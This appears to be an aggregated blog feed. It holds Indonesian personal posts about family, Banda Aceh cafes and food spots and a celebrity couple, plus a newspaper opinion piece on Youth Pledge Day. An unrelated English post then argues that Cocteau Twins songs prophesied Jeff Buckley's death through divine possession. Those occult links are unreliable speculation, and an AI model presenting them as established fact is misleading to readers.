Kak Men itu anaknya baik, penyayang, cerdas, jago banget debat, kritis, pokoknya TOP deh. Dia selalu jadi panutan buat aku. Dan alhamdulillah setelah pulang dari Surabaya tahun lalu, kak Men nyoba-nyoba tes di sana sini akhirnya she got a job, be a prosecutor. Yeaaaaah, akhirnya cita-citanya tercapai menjadi seorang jaksa. Dari ratusan pelamar dari Aceh cuma 2 orang yang lulus dari Aceh, dan dia salah satunya. Aku bangga banget sama kakakku ini. Dia selalu jadi penyemangat untuk aku belajar. Dulu tiap sekolah, aku selalu ngikut kak Mena sekolah di mana. Setiap lihat dia dapat rangking 5 besar, aku juga belajar supaya bisa seperti itu. Kadang-kadang aku merasa hidup dalam bayang-bayangnya. Mungkin karena dia satu-satunya saudara kandung yang aku punya, dari lahir aku menghabiskan waktu dengannya, berantem baikan berantem baikan jadi tentu saja kedekatan emosional juga sangat kuat. Dulu waktu kecil, aku kesal banget kalau ada yang jahat sama kak Men, apalagi dulu dia anaknya tomboy banget, temenan sama cowok, jadi aku suka ngikutin dia kemana-mana dan kalau dia berantem sama kawannya, aku bakal langsung pulang ke rumah dan mengadu sama mama supaya temennya itu dimarahin. Dan hal itu terus berlanjut sampai sekarang. Aku paling bete kalau ada yang ngejelekin kak Men atau jahat sama dia. Walaupun kita sering berantem tapi sebenarnya well aku sayang banget sama dia. Happy birthday kak Men, semoga umurnya berkah dan mendapat banyak hal-hal positif kedepannya.



          Cafe La Lumina   

Hari ini aku nyobain cafe baru di daerah Setui, namanya "La Lumina". Suasana cafenya bagus, di tempat terbuka, varian makanannya juga banyak dengan harga terjangkau. Waktu kita pergi pengunjungnya belum ada, emang cafenya lebih enak buat duduk-duduk sore atau malam, karena bayangin aja ya kalau siang duduk di tempat terbuka gitu panasnya bakal kayak apa :)
Tapi yang nyebelin itu adalah diputar lagu-lagu mellow buat para pengunjung, buat yang jomblo terasa banget sendirinya :( jadi buat yang punya pacar asik nih ngajak pacarnya ke cafe ini. Cafenya pas di pinggir jalan jadi kita bisa duduk sambil merhatiin suasana jalan dan kendaraan yang lalu-lalang. Kalau dugaan aku lebih romantis lagi kalau perginya malam. Dengan suasana alam terbuka juga diiringi lagu-lagu romantis dan cahaya remang-remang, aiiiiiih pasti yang pergi sama pacar feel nya dapet banget :) Tempat ini juga cocok banget buat spending time sama sahabat-sahabat terdekat. Besok-besok aku bakal lebih sering duduk di tempat ini :)






          Tempat-tempat Favorit   
Hallo.. Hari ini aku mau ceritain soal Banda Aceh, tanah kelahiran yang sudah aku tinggali sejak lahir. Aku lahir dan besar di Banda Aceh tepatnya di sektor timur, Kopelma Darussalam, mungkin biasa orang-orang bilang "Sektim" atau komplek dosen, whatever..
Banda Aceh itu kota kecil yang jalanannya tergolong cukup bersih, di jalan-jalan jarang kita temukan sampah bergelimpangan karena selalu rajin dibersihkan oleh para petugas kebersihan setiap harinya. Banda Aceh juga bukan kota besar seperti Medan atau Jakarta yang sering macet. Jadi kalau mau bepergian antara satu tempat ke tempat yang lain itu nggak butuh waktu yang terlalu lama atau harus bermacet-macet ria di jalanan. Tapi yang kurang dari Banda Aceh cuma satu (menurut aku) yaitu nggak ada BIOSKOP. Padahal bioskop itu penting banget buat kita yang suka nonton film, jadi kalau mau nonton film baru nggak harus nunggu keluar CD nya atau terpaksa download di situs-situs film. Oke, tinggalkan masalah bioskop, ayo kita jelajahi tempat-tempat makan yang ada di Aceh, khususnya Banda Aceh. Walaupun cuma kota kecil tapi tempat-tempat makannya nggak kalah enak dong ya sama daerah-daerah lain, apalagi warung-warung kopinya yang bertebaran di mana-mana. Bukan hal sulit mencari tempat ngopi di banda aceh, karena Aceh merupakan surganya warung kopi. Dari yang tua hingga yang muda berjubelan di tempat itu. Kalau dulu aku paling suka ngopi di Dago, lamnyong. Karena Dago punya tempat duduk di belakang yang berada di ruang terbuka, anginnya sepoi-sepoi dan pemandangannya hijau jadi duduk lama juga nggak bosan. Tapi sayangnya sekarang Dago udah tutup, nggak tahu deh kenapa, padahal aku paling suka duduk di situ.
Makanya kalau sekarang diajak ngopi terserah di mana aja, walaupun aku paling suka tempat yang wifi nya cepat dan duduknya nyaman. Mungkin bisa dibilang kalau sekarang aku sukanya duduk di New Tower Coffee yang di sebelah KFC simpang lima, karena tempatnya kalau siang nggak terlalu rame dan wifinya juga cepat. Biasanya aku suka ngerjain skripsi di situ sendirian sambil download film. Sekali duduk aku bisa download sampai dua film, lumayanlah internetan gratis :)
Kalau tempat makan yang paling aku suka itu adalah nasi uduk kelapa gading, lokasinya itu di depan asrama haji Lingke, Banda Aceh.
Itu tempat favorit aku, nggak cuma aku aja sih, orang rumah juga suka. Biasanya kalau aku makan di situ, mama selalu nitip dibeliin gorengannya (tempe, tahu, terong). Yang paling aku suka banget ya nasi uduknya, setiap makan bisa nambah dua kali (wajib), kalau bawa pulang ke rumah pun aku selalu minta nasi uduknya dobel hahaaaa :) padahal kalau makan di tempat lain makanannya nggak pernah habis tapi entah kenapa kalau makan nasi uduk itu bisa sampai 2 kali tambah. Mungkin juga karena pedesnya gilaaaa. Di antara teman-temanku, memang aku yang paling doyan makan pedas, kalau makan pedas teman-teman pasti pada nambah air tapi aku nggak pernah sekalipun nambah, karena kalau aku minum maka sensasi pedas itu akan berakhir jadi aku sengaja minumnya cuma dikit supaya aku bisa ngerasain setiap sensasi pedas yang terasa di lidah, rasanya TOP banget :D 
Aceh selain terkenal dengan kenikmatan kopinya atau surga warung kopinya juga terkenal dengan kelezatan Mie Acehnya. Mungkin mie Aceh yang paling terkenal itu Mie Razali, tapi ada satu tempat makan mie Aceh yang rasanya top yaitu Mie Sarena. Tapi biasanya aku dan teman-teman menyebutnya "mie kakek". Kenapa kita manggil mie kakek? Karena pemiliknya sudah lumayan tua, nggak tua-tua banget sih, lokasinya pas di depan MIN Peukan Bada.
Kakek membuat sendiri mie kuningnya jadi dijamin mie-nya lebih aman tanpa bahan-bahan pengawet. Cuma di sini aku bisa makan mie goreng sampai habis dan kalau aku bisa menghabiskan makanannya sampai habis berarti makanannya enak. Karena aku tergolong orang yang susah banget ngabisin makanan atau dengan kata lain cepat kenyang kalau makanannya biasa aja atau nggak sesuai selera. Jadi cuma makanan-makanan yang rasanya pas dilidah yang bisa bikin aku ketagihan. Makanya kalau aku menemukan tempat yang makanannya enak dijamin aku akan terus pergi ke tempat itu. Mungkin aku bisa pergi ke tempat-tempat berbeda setiap harinya tapi kalau tempat yang udah aku anggap favorit akan selalu aku datangi terus menerus. 
Oh iya, sekarang di Banda Aceh ada cafe baru, namanya "maroon", lokasinya di sebelah wisma Lampriet, depan kantor PLN. Cafe ini menyediakan beragam jenis cake, juga ada american risol.
Risol di sini unik, kalau biasanya risol itu isinya sayur dicampur daging atau ayam tapi kalau american risol ini isinya telur rebus kecil dicampur daging iris tipis-tipis dan dilelehin mayonaise. Kemudian disajikan dengan bentuk risolnya dibelah dua. Seporsi harganya 10 ribu berisi tiga potong risol. Cake nya di sini lembuuuuut banget. Kemarin aku baru nyobain "dark devil cake", cake nya itu dilapisi coklat di luar dan dalam, enak tapi terlalu banyak coklat jadi kalau dikonsumsi banyak-banyak jadi "enek". Kata pegawainya cake ini yang paling banyak dipesan, seporsinya 20 ribu. Yang paling enak di sini adalah minumannya, beberapa minggu lalu aku pernah nyobain "milo frappe" enak banget loh, porsinya juga banyak jadi puas minumnya, segelasnya 15 ribu. Maroon ini dibuka dari hari selasa sampai minggu, dari pukul 4 sore sampai sebelum magrib.
Tempat favorit untuk aku makan bakso goreng adalah di Ulele, kalau aku nyebut tempat ini "pantai tanpa ombak" karena cuma di sini yang pantai nggak ada ombaknya. Sebenarnya bukan nggak ada ombak sih tapi sejak tsunami pantai ini ditembokin ditengahnya, jadi ombak dari arah laut nggak sampai lagi ke pantai ini karena terhalang sama tembok-tembok tersebut. Biasanya di sini ada bebek-bebek dayung, aku senang banget naik ini, biasanya tiap naik semester aku selalu ngajak teman-temanku naik bebek dayung,  tapi semester ini aku belum sempat naik, mereka nggak ada yang mau diajakin naik, nggak mungkin juga kan aku naik sendiri. Aku paling suka duduk di tempat ini buat mandangin laut. Ngeliat pemandangan laut, ngeliat anak-anak kecil main air bisa bikin aku happy jadi pergi ke tempat ini lumayan menghibur. Biasanya aku suka pergi sendiri ke tempat ini, sebenarnya sih sekalian jalan-jalan, quality time with myself :)
Dua minggu lalu aku diajakin teman aku ke Lhoknga Riverside Resort. Di sini ada pemandangan sungai yang cantik banget. Kalau biasanya air sungai itu warnanya putih kecokelatan, tapi di sini warna sungainya hijau, jadi lebih mirip danau daripada sungai. Lokasinya itu hampir dekat PT Lafarge, Lhoknga, tapi tempat ini berada setelah jembatan. Biasanya setiap aku mau ke Lhoknga, aku suka banget ngeliatin sungai ini dari jembatan, karena pemandangannya yang serba hijau mengingatkan aku pada dunia dongeng atau dunia fantasi. Makanya senang banget waktu aku diajak ke sini. Akhirnya aku nggak cuma bisa mandangin sungainya dari jauh aja tapi bisa mandangin lebih dekat. Sebenarnya Lhoknga Riverside Resort ini adalah sebuah resort yang diperuntukkan bagi tamu-tamu yang mau menginap. Tapi kalau ada pengunjung yang mau duduk-duduk di cafenya dibolehin sama pemiliknya. Cafenya ini sebelahan sama sungainya, jadi kalau duduk di cafe ini bisa mandangin pemandangan sepuasnya. 
Jumat besok aku dan teman-teman SMA mau nyoba tempat baru lagi, yaitu cafe La Lumina. Nama cafenya kayak nama-nama Italia gitu ya hihiii :) lokasinya di Stui, di dekat Bubur Jazz. Aku belum tahu sih cafenya ini kayak apa soalnya belum pernah nyoba, biasanya cuma ngeliatin sambil lewat. Oke deh, ntar kalau enak aku rekomendasi buat kalian semua ya ;)

          Pasangan yang Bikin Jealous   
Sekarang ini lagi sukaaaaa banget ngeliatin pasangan Rio dan Oki Setiana Dewi. Dari semua pasangan paling iri sama pasangan ini, kayaknya sweet banget gitu. Aku perhatiin foto-foto mereka di akun instagram Rio, so sweet banget deh. Pergi umroh bareng, warna bajunya selalu sama, misal nya hari ini dua-duanya pakai baju merah atau besok pakai baju biru kedua-duanya. Liat cara mereka ngobrol juga kayak penuh tatapan-tatapan cinta, oh my god !! 
Pasangan ini benar-benar bikin iri. Dan ini juga ngebuktiin bahwa yang namanya "pacaran setelah menikah" nggak buruk-buruk banget kok, buktinya mereka yang nggak melalui tahap pacaran justru lebih romantis dibanding orang yang pacaran sebelum menikah :) 
Kalau boleh jujur nih, tipe-tipe pria yang aku idam-idamkan jadi suami itu ya kayak Rio (suaminya Oki). Dewasa, baik, berkharisma, pintar dan mapan. Nggak perlu yang fisiknya harus ganteeeeng, yang penting dewasa dan pintar. Karena cowok pintar itu kegantengannya naik 70% apalagi ditambah dewasa hmmmmmm :) 
Usia mereka juga terpaut lumayan jauh sekitar 7 tahun, aku mau nya gitu juga, agak jauh gitu beda usianya sama pasangan jadi dia bisa mengimbangi aku yang agak kekanak-kanakan. Apalagi aku anak bungsu jadi aku butuh seseorang yang bisa membimbing dan mengarahkan aku. Yang akan menegur kalau seandainya aku salah, yang mengingatkan aku untuk selalu berbuat baik, yang memahami dan bisa menerimaku apa adanya dengan segala kelebihan dan kekuranganku.
Dan semua itu sepertinya dimiliki oleh Rio. Makanya setiap liat pasangan ini selalu bikin iri, rasanya pengen langsung pindah channel karena jealous hahahaaa :D 
Aiiiiiih, beneran iri :( terus ya, walaupun usia Rio udah 30-an tapi gayanya itu tetap keren, nggak kalah sama yang usianya masih 25-an, wajahnya juga nggak keliatan kayak oom-oom hihiiii :D 
Buat aku, yang paling penting dicari dari seorang suami itu adalah akhlaknya, karena nikah itu kan sekali seumur hidup jadi benar-benar mencari pasangan yang baik hatinya dan akhlaknya supaya bisa buat kita bahagia di dunia dan akhirat. Dan itu adalah doa wajib yang aku pinta selalu sama Allah SWT agar memberikan aku suami yang bisa membahagiakan di dunia dan akhirat, dan bisa sayang sama kedua orangtuaku seperti orangtuanya sendiri, begitu pula aku juga akan menyayangi kedua orangtuanya seperti orangtuaku sendiri :)
Semoga suatu saat nanti Tuhan mengirimkanku "Rio" yang lain untuk mendamipingi hidupku. Untuk mendapatkan pasangan yang baik seperti itu tentunya aku juga berusaha untuk menjadi pribadi yang lebih baik lagi, belajar dengan tekun, agar nanti ketika Tuhan mengirimkan jodoh untukku, aku sudah benar-benar pantas untuknya. Semogaaaaaa :) 

          Opini-Setitik Asa Generasi Muda   
"Setitik Asa Generasi Muda" (Serambi Indonesia, 27 Oktober 2012)


Oleh Cut Liza Novita Sari

SUMPAH Pemuda merupakan satu tonggak sejarah dan bukti bahwa pada 28 Oktober 1928 Bangsa Indonesia dilahirkan. Proses kelahiran Bangsa Indonesia ini merupakan buah dari perjuangan rakyat yang selama ratusan tahun hidup tertindas di bawah kekuasaan kaum kolonialis pada saat itu. Kondisi ketertindasan inilah yang kemudian mendorong para pemuda pada saat itu untuk membulatkan tekad demi mengangkat harkat dan martabat bangsa. Tekad inilah yang kemudian menjadi komitmen perjuangan rakyat Indonesia hingga berhasil mencapai kemerdekaannya pada 17 Agustus 1945.

Hari sumpah pemuda diperingati setiap tahunnya pada 28 Oktober demi mengenang semangat juang para pemuda terdahulu yang dengan gagah berani memperjuangkan kemerdekaan Indonesia. Semangat yang berkobar melawan penjajah, sebuah pengakuan dari pemuda-pemudi Indonesia yang mengikrarkan bahwa satu tanah, satu bangsa, dan satu bahasa. Kini, setiap tahun kita memperingati Hari Sumpah Pemuda sebagai refleksi bahwasanya meskipun berbeda-beda suku, bahasa, ras, dan agama, tapi kita tetap satu, hidup di bawah payung yang sama, yaitu Negara Republik Indonesia. 

Sejak kemerdekaan penjajah sudah tidak ada lagi di negeri kita, tapi masih ada “penjajah-penjajah pribumi” yang harus kita lawan. Penjajah itu ialah mereka-mereka yang melakukan praktik korupsi kolusi dan nepotisme (KKN). Mereka adalah musuh yang harus kita berantas bersama. Praktik KKN yang terus terjadi telah merugikan negara hingga berdampak pada semakin suburnya persoalan kemiskinan yang dihadapi negara ini.

 Korupsi merajalela
Kita bisa melihat realita yang terjadi belakangan ini, bagaimana korupsi merajalela di negara kita. Bagaimana hukum begitu lemah dan tunduk pada penguasa. Negara kita adalah negara hukum. Tapi jika hukum tak bisa lagi menjadi pondasi yang kuat, apa mungkin rakyat bisa sejahtera? Ibarat sebuah rumah, hukum adalah pondasi, negara Indonesia adalah rumah, dan kita adalah penghuninya. Jika Pondasinya sudah tidak kuat, apakah rumah itu masih bisa berdiri kokoh? Apalagi jika terjangan angin dan badai kian kencang, maka rumah itu perlahan-lahan akan roboh dan hancur.

Bercermin dari sejarah masa lalu, kita bisa melihat bagaimana perjuangan para pemuda dalam memperjuangkan kemerdekaan Indonesia. Meskipun mereka berasal dari berbagai daerah dan suku yang berbeda, mereka bisa menyatukan perbedaan-perbedaan itu demi mencapai cita-cita yang sama. Memaknai Hari Sumpah Pemuda adalah dengan mengingat kembali sejarah masa lalu untuk menumbuhkan kembali semangat perjuangan para generasi muda saat ini.

Ironisnya, masih banyak generasi muda kita yang lupa bahkan apatis dengan sejarah bangsa ini. Bagaimana kita bisa memaknai hari sumpah pemuda, jika sejarah yang melatarbelakangi hal itu terjadi pun kita tidak tahu. Mengenang sejarah merupakan salah satu langkah kecil dalam memaknai hari sumpah pemuda, juga dengan menumbuhkan semangat dan jiwa kebangsaan, serta keinginan bersatu yang tinggi. Seperti kata Bung Karno dalam setiap pidatonya, “Jangan sekali-kali melupakan sejarah” yang akhirnya dikenal istilah “Jasmerah”.

Realita yang kita hadapi kini adalah semangat para pemuda kian terkikis zaman. Persatuan dan kesatuan yang dulunya menjadi ruh perjuangan pemuda, sekarang telah berganti menjadi semangat individualis, primordialisme, dan etnosentrisme. Sebagai contoh, kini tawuran antar pemuda sesama anak bangsa semakin sering terjadi dan penyampaian aspirasi dilakukan secara anarkis yang mengganggu ketenangan dan ketertiban ditengah-tengah masyarakat.

Semangat primordialisme pun kian menguat, hingga tanpa sadar telah membangun sekat-sekat keberagaman dalam kehidupan berbangsa. Jika semangat kedaerahan itu terlalu berlebihan, maka dapat mengancam persatuan nasional dan menimbulkan perilaku etnosentrisme. Seperti yang dikatakan Matsumoto (1996) bahwa “Etnosentrisme adalah kecenderungan untuk melihat dunia hanya melalui sudut pandang budaya sendiri”. 

Sehingga terkadang etnosentrisme ini memunculkan sikap prasangka dan stereotype negatif terhadap etnis atau kelompok lain. Hal ini tentu saja akan berdampak pada menipisnya rasa persatuan dan saling memiliki dengan yang berbeda budaya. Tidak hanya itu, generasi muda juga mulai sering membuang-buang waktu dengan melakukan kegiatan-kegiatan yang tidak produktif, seperti duduk berjam-jam di warung kopi dan ketergantungan pada game online.

Memaknai hari sumpah pemuda dapat kita lakukan dengan banyak cara, seperti generasi muda yang menjalankan fungsinya untuk mengawasi kinerja pemerintah dan kebijakan-kebijakan yang diambil. Ketika hukum begitu lemah dan tak berkutik pada para penguasa, maka generasi muda harus menjadi pengawas dan penegak ketimpangan itu. Generasi muda tidak hanya berdiam diri dan menjadi penonton terhadap ketidakadilan dan praktik KKN yang terus terjadi.

 Harus lebih peka

Di samping itu, generasi muda juga berperan sebagai penyampai aspirasi masyarakat. Saat para wakil rakyat terbuai dengan jabatan dan kekuasaannya, maka di sinilah peran generasi muda, khususnya mahasiswa untuk bertindak sebagai penyampai aspirasi. Generasi muda harus lebih peka dan sensitif dengan masalah-masalah yang dihadapi masyarakat saat ini. Lebih kreatif dan solutif dalam menyelesaikan masalah-masalah yang terjadi. 

Sebagai generasi muda kita harus ikut berkontribusi untuk membangun negara, seperti aktif di kegiatan-kegiatan yang berdampak positif di kampus dan masyarakat, serta mengembangkan potensi diri (skill) yang nantinya dapat berguna di masa mendatang. Selain itu, untuk menjalankan peran kita sebagai generasi muda, kita harus bisa menyatukan perbedaan-perbedaan yang ada menjadi satu kesatuan yang utuh. 

Negara kita membutuhkan peran pemuda-pemudi untuk menumbuhkan kembali semangat sumpah pemuda dan nasionalisme yang kian memudar mengingat tantangan ke depan semakin berat dan kompleks. Momentum Sumpah Pemuda ini untuk mengingatkan kita kembali bahwa tidak boleh ada golongan yang merasa ditindas, dianaktirikan, atau diabaikan. Sumpah Pemuda harus melahirkan keadilan bagi seluruh warga negara tanpa ada diskriminasi.

Saya berharap dengan adanya Hari Sumpah Pemuda ini menjadi cermin bagi kita semua untuk berkaca seperti apa bangsa kita saat ini. Ke depannya, semoga pemuda-pemudi Indonesia dapat terus menjaga semangat persatuan dan jiwa nasionalisme untuk mewujudkan cita-cita bersama menuju Indonesia yang maju, adil, dan sejahtera.

* Cut Liza Novita Sari, Mahasiswi Jurusan Ilmu Komunikasi, Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Syiah Kuala (Unsyiah), Banda Aceh. Email: azaazaliza92@yahoo.com

Editor : hasyim



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          Interlude: The Spirits Don't Speak Proper English   



"The lord whose oracle is at Delphi neither speaks nor conceals, 
but gives signs."- Heraclitus, on Apollo  

From the very beginning I saw this story as one somehow centered on some kind of possession or channeling. And now that seems to be the only explanation for this endless parade of omen and ancient symbolism of the love goddess and her shepherd-boy consort.

And it only gets stranger and more impossible. 

In truth, I suspected Elizabeth Fraser was channeling something entirely different as soon as I heard "Sugar Hiccup" back in 1983. I grew up around professional musicians- my mother was a trained soprano- and I heard a hell of a lot of music. But somehow I knew something seemed to have come here from somewhere else.

It wasn't just me- you hear the phrase "otherworldly" used quite a lot to describe her singing. 

Even then it felt like something was revealing itself, something very big and strange, through this shy, vulnerable, troubled girl (she was only 19 when she sang "Hiccup") with the mile-wide howl and her art-damaged bandmates.

I just had no idea how big and strange it truly was.

UNDER APHRODITE'S SPELL


Nope, doesn't look possessed at all. No, sir.

Now, Elizabeth Fraser loved Jeff Buckley. I mean she really loved him. 

I mean she really, really, really loved him. 

This isn't conjecture on my part. She talked about it in interviews, saying her love for him was an "addiction" and that she was "maniacal." She sang that she was a "junkie" for him. Twice

Five years after his death she appeared in the "widow role" on a BBC documentary on Buckley and it was painfully clear that that love still burned inside her.

This is the kind of love that poets used to write epics about. The kind of love that Innana had for Dumuzi, that Selene had for Endymion, that Isis had for Osiris. The kind of love city-states used to go to war over.

She sang about this love. A lot. She wrote an entire EP about it, made a heart-wrenching (and startlingly-prophetic) longform music video about it, dedicated an entire album to it, and eventually wrote the best-known song of her career about it, a song which tens of millions of people have heard. 

And again, she recorded that song the day Buckley died.



Fraser ("strawberry") "Sacred to Aphrodite" 
and Buckley "Shepherd Boy"

So bear all this in mind as we take a deeper look into the prophetic foreshadowing in the Cocteau Twins' music and this increasingly impossible avalanche of omen and symbol, all leading to what very much looks like a real-time god-LARP of the one of the oldest stories known to history- one that's been retold many different times in many different places-  the love of the Love Goddess for a doomed shepherd-boy.

It's a story upon which the world's first great empire rose and fell.


ENTER APOLLO, THE POSSESSOR


Mapquest calls it "Wolf River Lagoon"

Directly overlooking the spot on the Wolf River Lagoon/Harbor where Jeff Buckley drowned is the Tennessee Welcome Center, which houses a statue of Elvis Presley that is curiously posed in a strange recreation of the same contrapposto stance that Apollo was customarily depicted striking in the Classical world, with a guitar in place of a lyre (same difference, really).

Elvis died in Memphis 20 years before Buckley did so (1977). He is also closely connected to the Carnival Memphis. 


"Kiss Out"- to deprive someone of their share

And of course Apollo is both the god of song and music and the god of prophecy.

 He was also known as Apollo Lyceus, or "Apollo the Wolf God." One of the grand old theaters in Memphis was named in honor of Apollo Lyceus, The Lyceum.

















Apollo's powers of prophecy came from a very interesting source, one that will play an important role in the story about to unfold here.
The Homeric Hymn to Apollo acknowledges that Apollo's gift of prophecy first came to him from three bee maidens, usually but doubtfully identified with the Thriae, a trinity of pre-Hellenic Aegean bee goddesses. 
Apollo imparted his prophecies to the rest of us through channeling and his oracles were variously known as the Sibyls or the Pythia ("Pythoness"). The latter of whom, before some asshole had to get all rapey, were originally teenaged girls (like Fraser was when she first recorded Garlands):
The Pythia (or Oracle of Delphi) was the priestess who held court at Pytho, the sanctuary of the Delphinians, a sanctuary dedicated to the Greek god Apollo. Pythia were highly-regarded, for it was believed that she channeled prophecies from Apollo himself, while steeped in a dreamlike trance.  

A Roman historian described how this channeling came about: 
At last Apollo mastered the breast of the Delphian priestess ; as fully as ever in the past, he forced his way into her body, driving out her former thoughts, and bidding her human nature to come forth and leave her heart at his disposal.  
(F)irst the wild frenzy overflowed through her foaming lips ; she groaned and uttered loud inarticulate cries with panting breath ; next, a dismal wailing filled the vast cave ; and at last, when she was mastered, came the sound of articulate speech... ” - Lukan- The Civil Wars
"Elizabeth, we'd like to speak with Apollo now..."

Now, again- see if all of that there- "loud, inarticulate cries with panting breath" and all the rest of it- doesn't sound a bit like this. 

Or this.

Or this.


VIVA HEAVEN OR LAS VEGAS


Perhaps more than anyone else, Elvis is nearly synonymous with Las Vegas. He first played there in 1956 (a month before appearing at the Carnival Memphis) and later began a long residency in the Dog Days of 1969 at the Las Vegas International which would eventually see him give over 700 performances there. 

There was even an Elvis Presley Museum in Vegas. There are still Elvis Wedding Chapels there.



And just as there is one overlooking the exact spot where Jeff Buckley ascended to Heaven, there is also an Elvis statue in Las Vegas.



So if in fact Fraser was first introduced to Buckley backstage in 1991 (and not 1994, when they began seeing each other), it would mean they met during the Heaven or Las Vegas tour.

It would mean Buckley saw the tour where "Wolf in the Breast," "Road, River and Rail" and "Mizake the Mizan" were first played onstage. "Mizake's" lyrics again.

Saw a mermaid in the
Lagoon Klisova
Become


So until the hour
My coeur cheri paiyaa
Honey
Grey water
Hoist and throw me down in the water
Drowning
Hoist and throw me down the waterfall

It would mean that Elizabeth serenaded young Jeffrey with a hit parade of personalized death omens, including 'Blue Bell Knoll', 'Lorelei', 'Road, River and Rail' and 'A Kissed-Out Red Floatboat'.


So just as this love story was beginning we saw a shockingly-specific new set of omens of how it would in fact end. 

I mean, have you read any of the Pythias' prophecies? Bloody amateurs in comparison.

"THE BREATH OF GOD IN MY MOUTH"

Elizabeth Fraser, Heaven or Las Vegas video
It was quite noticeable that he was borne along by a divine inspiration when he spoke, when from this so wise a mouth flowed in waves the words, which flew like flakes of snow. Then it seemed that his eyes filled with a shining splendor, and all over his face spread rays of a divine illumination. - Marsinus on Proclus, author of On the Signs of Divine Possession
And then there is the question of glossolalia, for which Fraser was world-famous:
Fraser's distinctive singing has earned her much critical praise; she was once described as "the voice of God." Her lyrics range from straightforward English to semi-comprehensible sentences (glossolalia) and abstract mouth music. For some recordings, Fraser has said that she used foreign words without knowing what they meant – the words acquired meaning for her only as she sang them.
So by assembling lyrics out of words in foreign languages she didn't understand, Fraser was literally "speaking in tongues." And it's in this and her use of glossolalia that Fraser was once again acting in the exact same manner as the ancient oracles:
Neoplatonist philosopher Iamblichus linked glossolalia to prophecy, writing that prophecy was divine spirit possession that "emits words which are not understood by those that utter them; for they pronounce them, as it is said, with an insane mouth and are wholly subservient, and entirely yield themselves to the energy of the predominating God."
And again, Fraser herself told the New Musical Express in 1984 that she felt as if she were channeling some other entity and that her songs seemed to write themselves. Mind you, this is not a woman who was given to hyperbole or self-aggrandizement.

LULLABIES REVISITED

The Sibyl with raving mouth utters solemn, unadorned, unlovely words, but she reaches out over a thousand years with her voice by force of the god within her. - Heraclitus
The breath of God in my mouth
A love you can taste, God, get some paste
He and I, breath to breath -"Seekers who are Lovers"

This is really a work-in-progress here so forgive me as I go over a lot of the material. 

But please be aware we're getting grade-A hits here. This isn't some kind of "well, if A=B, then 5=ham sandwich" kind of leaping and stretching. There's no tortured Gematria wrangling or King Kill horseshoe tossing. 

It's all so right on the nose- past the point of overkill- that it's actually terrifying to me.  

UPDATE: Like this- the flower on the cover of Lullabies is the Calla Lily, a poisonous flower also called "The Green Goddess." (H/T Persephone J)
Calla lilies have become a common favorite in wedding ceremonies, but in contrast, lilies are also associated with death. They were often used on the graves of youths who suffered an untimely death.
When Venus, goddess of love, beauty, and desire, saw the lilies she was jealous of their beauty. She cursed their beauty by placing a large yellow pistil in the middle of the flowers. Because of this story, some associate the calla lily with Venus and thus with lust and sexuality. 
Lullabies is the EP the Cocteau Twins put out in 1982 after Garlands (again, Jeff Buckley died on Garlands Day, when sacrifices used to made to ocean gods). We looked at it before but we really need to look at it again.  

So let's decode these songs in reverse order:


And guess what? That's exactly what Apollo imparted onto his oracles. Exactly like someone or something seems to imparted onto the young Elizabeth Fraser.

And as some have noted- including Federico Garcia Lorca- lullabies have often been associated with death.

Now we get to the truly frightening part of the program.


  "The Pythia resembles a shamaness at least to the extent that she communicates with her [deity] while in a state of trance, and conveys as much to those present by uttering unintelligible words."  Martin Litchfield West, The Orphic Poems

And that's the incredibly-witchy 'Alas Dies Laughing'. What I wrote previously:

After two attempts at conventional choruses, the song breaks down into a bridge that has (a pre-transformation) Fraser moaning like the Pythia as the fumes rise. After the breakdown, she dispenses with the niceties and lapses into a repetitive chant about exactly how Alas died laughing:

Wake takes a lonely one
Wake takes a lonely one
Wake takes a lonely one
Wake takes a lonely one
Wake takes a lonely one
Wake takes a lonely one

(Note: I've listened to this song many times now and am convinced she's singing "Wake takes a lonely one" only she's Liz'ing the hell out of the syllables. It makes more sense with the rest of the lyrics- bone, stone, on)

I really should have taken a closer look at the verses though, because they are absolutely mind-boggling. I had to listen to this song about a hundred times to get the lyrics right but it was worth it. 

And note that like the Pythia, Fraser sounds like she's a trancelike state for the entire EP, even though she belted these songs out live like a trouper. It's actually unnerving. Especially on these lyrics:


Flaxen, the dress is bone
Crush a crushing stone



Click here if you're at all lost.

The first thing I'd like to do here is reframe this narrative. The prism we should see this through is that of the story of the theme song to what was at one time the most watched television show in the world, namely House MD.


And subsequently we're also looking at the backstory of a music video that's gotten over 48 million views on YouTube. Those are Beyonce numbers. 


So rather than try to figure out why this incredibly strange and impossible chain of events has focused on a couple singers most people have never heard of, let's approach it all under that context. 


This is a story tens of millions of people have been exposed to without realizing what it is they're hearing.

I'd also like to let it be known that this isn't a story that ended twenty years ago. As we've seen Chris Cornell- whose death continues to make headlines- somehow found himself wound up in all this, both through his close relationship with Jeff Buckley but also through his unlikely connection to the mythos we're unfolding here.


And into the midst of it all comes the announcement that Elizabeth Fraser is appearing at Royal Albert Hall in July:

John Grant will chat to Cocteau Twins vocalist Elizabeth Fraser about her iconic indie group’s 1988 album, Blue Bell Knoll, with all proceeds from the show going to gay rights charity Stonewall. 
The event on Sunday 23 July is a rare chance to see Fraser talk about her distinctive, indelible music, which influenced an entire generation of performers, including Grant, with his exquisite electro-balladeering.

I really don't know where to start. I couldn't possibly make up an event more symbolically loaded. Is someone actually fucking with me here?

Where to begin? Let's try this, from the must-read VISUP site.
(Robert Anton) Wilson is primarily responsible for bringing the 23 enigma to public attention. Wilson in turn partly became obsessed with the number 23 after supposedly receiving telepathic messages from an alien race based upon Sirius after performing a Crowley-inspired ritual on July 22, 1973. The next morning he found a peculiar message in his 'magickal diary' stating "Sirius is very important." This led Wilson to doing some research. 
"The Skeptic went to town and browsed in the public library. Imagine my state of mind when I discovered that this very day, July 23, when I had received the message 'Sirius is very important,' is the day when, according to Egyptian tradition, the occult link (through hyperspace?) is most powerful between Earth and Sirius. 
"Celebrations of the Dog Star, Sirius, beginning on July 23, are the origin of the expression 'dog days,' meaning the days from July 23 to September 8, when the last rituals to Sirius were performed."- The Cosmic Trigger Volume I, pg. 87 
What Wilson is referring to is the heliacal rising of Sirius, often associated with July 23:
The heliacal rising: the first visible, though brief, appearance of a star on the eastern horizon before sunrise. On the previous morning, sunlight made the star invisible.  
Sirius is also identified with Isis, who plays a major role in our story here:
As the star Sopdet (Sirius (in Greek Sothis)), she heralds the life-giving inundation. 
July 23rd has also been connected with the Ancient Egyptian New Year:
